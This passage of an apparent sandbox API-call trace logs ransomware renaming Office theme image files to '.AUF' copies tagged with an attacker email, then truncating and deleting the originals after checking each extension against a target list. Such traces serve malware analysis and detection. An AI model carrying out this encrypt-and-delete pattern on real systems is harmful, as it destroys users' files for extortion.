(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0212.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.072] lstrlenW (lpString=".doc") returned 4 [0212.072] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.072] lstrlenW (lpString=".docx") returned 5 [0212.072] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.072] lstrlenW (lpString=".pdf") returned 4 [0212.072] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.072] lstrlenW (lpString=".xls") returned 4 [0212.072] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.072] lstrlenW (lpString=".xlsx") returned 5 [0212.072] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.072] lstrlenW (lpString=".ppt") returned 4 [0212.072] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.072] lstrlenW (lpString=".zip") returned 4 [0212.072] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.072] lstrlenW (lpString=".rar") returned 4 [0212.072] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.072] lstrlenW (lpString=".bz2") returned 4 [0212.073] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString=".7z") returned 3 [0212.073] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".dbf") returned 4 [0212.073] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".1cd") returned 4 [0212.073] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".jpg") returned 4 [0212.073] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".doc") returned 4 [0212.073] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString=".docx") returned 5 [0212.073] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.073] lstrlenW (lpString=".pdf") returned 4 [0212.073] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString=".xls") returned 4 [0212.073] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.073] lstrlenW (lpString=".xlsx") returned 5 [0212.073] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.073] lstrlenW (lpString=".ppt") returned 4 [0212.073] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".zip") returned 4 [0212.073] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.073] lstrlenW (lpString=".rar") returned 4 [0212.073] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.073] lstrlenW (lpString=".bz2") returned 4 [0212.073] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString=".7z") returned 3 [0212.073] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".dbf") returned 4 [0212.073] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".1cd") returned 4 [0212.073] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0212.073] lstrlenW (lpString=".jpg") returned 4 [0212.073] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.119] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.119] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0212.120] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2181) returned 1 [0212.120] CloseHandle (hObject=0x180) returned 1 [0212.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0212.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0212.121] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.121] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.122] GetLastError () returned 0x0 [0212.122] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x885, lpOverlapped=0x0) returned 1 [0212.136] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x890, lpOverlapped=0x0) returned 1 [0212.137] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.137] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.137] SetEndOfFile (hFile=0x1e8) returned 1 [0212.137] CloseHandle (hObject=0x1e8) returned 1 [0212.137] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.137] SetEndOfFile (hFile=0x180) returned 1 [0212.138] CloseHandle (hObject=0x180) returned 1 [0212.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.138] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0212.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString=".doc") returned 4 [0212.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.139] lstrlenW (lpString=".docx") returned 5 [0212.139] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.139] lstrlenW (lpString=".pdf") returned 4 [0212.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString=".xls") returned 4 [0212.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString=".xlsx") returned 5 [0212.139] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.139] lstrlenW (lpString=".ppt") returned 4 [0212.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString=".zip") returned 4 [0212.139] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString=".rar") returned 4 [0212.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString=".bz2") returned 4 [0212.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.139] lstrlenW (lpString=".7z") returned 3 [0212.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString=".dbf") returned 4 [0212.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString=".1cd") returned 4 [0212.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString=".jpg") returned 4 [0212.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.139] lstrlenW (lpString=".doc") returned 4 [0212.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.139] lstrlenW (lpString=".docx") returned 5 [0212.139] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.139] lstrlenW (lpString=".pdf") returned 4 [0212.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString=".xls") returned 4 [0212.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.139] lstrlenW (lpString=".xlsx") returned 5 [0212.140] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.140] lstrlenW (lpString=".ppt") returned 4 [0212.140] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.140] lstrlenW (lpString=".zip") returned 4 [0212.140] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.140] lstrlenW (lpString=".rar") returned 4 [0212.140] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.140] lstrlenW (lpString=".bz2") returned 4 [0212.140] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.140] lstrlenW (lpString=".7z") returned 3 [0212.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.140] lstrlenW (lpString=".dbf") returned 4 [0212.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.140] lstrlenW (lpString=".1cd") returned 4 [0212.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0212.140] lstrlenW (lpString=".jpg") returned 4 [0212.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.401] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.403] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.408] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=31837) returned 1 [0212.408] CloseHandle (hObject=0x1e0) returned 1 [0212.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0212.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.408] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.408] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0212.408] GetLastError () returned 0x0 [0212.408] ReadFile (in: hFile=0x1e0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0212.451] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0212.452] ReadFile (in: hFile=0x1e0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.452] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.452] SetEndOfFile (hFile=0x194) returned 1 [0212.452] CloseHandle (hObject=0x194) returned 1 [0212.452] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.452] SetEndOfFile (hFile=0x1e0) returned 1 [0212.453] CloseHandle (hObject=0x1e0) returned 1 [0212.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.453] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString=".doc") returned 4 [0212.454] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.454] lstrlenW (lpString=".docx") returned 5 [0212.454] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.454] lstrlenW (lpString=".pdf") returned 4 [0212.454] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.454] lstrlenW (lpString=".xls") returned 4 [0212.454] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.454] lstrlenW (lpString=".xlsx") returned 5 [0212.454] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.454] lstrlenW (lpString=".ppt") returned 4 [0212.454] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString=".zip") returned 4 [0212.454] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.454] lstrlenW (lpString=".rar") returned 4 [0212.454] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.454] lstrlenW (lpString=".bz2") returned 4 [0212.454] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.454] lstrlenW (lpString=".7z") returned 3 [0212.454] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString=".dbf") returned 4 [0212.454] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString=".1cd") returned 4 [0212.454] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString=".jpg") returned 4 [0212.454] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.454] lstrlenW (lpString=".doc") returned 4 [0212.454] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.454] lstrlenW (lpString=".docx") returned 5 [0212.455] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.455] lstrlenW (lpString=".pdf") returned 4 [0212.455] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.455] lstrlenW (lpString=".xls") returned 4 [0212.455] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.455] lstrlenW (lpString=".xlsx") returned 5 [0212.455] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.455] lstrlenW (lpString=".ppt") returned 4 [0212.455] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.455] lstrlenW (lpString=".zip") returned 4 [0212.455] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.455] lstrlenW (lpString=".rar") returned 4 [0212.455] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.455] lstrlenW (lpString=".bz2") returned 4 [0212.455] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.455] lstrlenW (lpString=".7z") returned 3 [0212.455] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.455] lstrlenW (lpString=".dbf") returned 4 [0212.455] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.455] lstrlenW (lpString=".1cd") returned 4 [0212.455] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0212.455] lstrlenW (lpString=".jpg") returned 4 [0212.455] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.455] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.455] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.456] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=32607) returned 1 [0212.456] CloseHandle (hObject=0x1e0) returned 1 [0212.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0212.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.456] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.457] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0212.457] GetLastError () returned 0x0 [0212.457] ReadFile (in: hFile=0x1e0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0212.470] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0212.471] ReadFile (in: hFile=0x1e0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.471] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.471] SetEndOfFile (hFile=0x194) returned 1 [0212.471] CloseHandle (hObject=0x194) returned 1 [0212.471] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.471] SetEndOfFile (hFile=0x1e0) returned 1 [0212.472] CloseHandle (hObject=0x1e0) returned 1 [0212.472] SetFileAttributesW 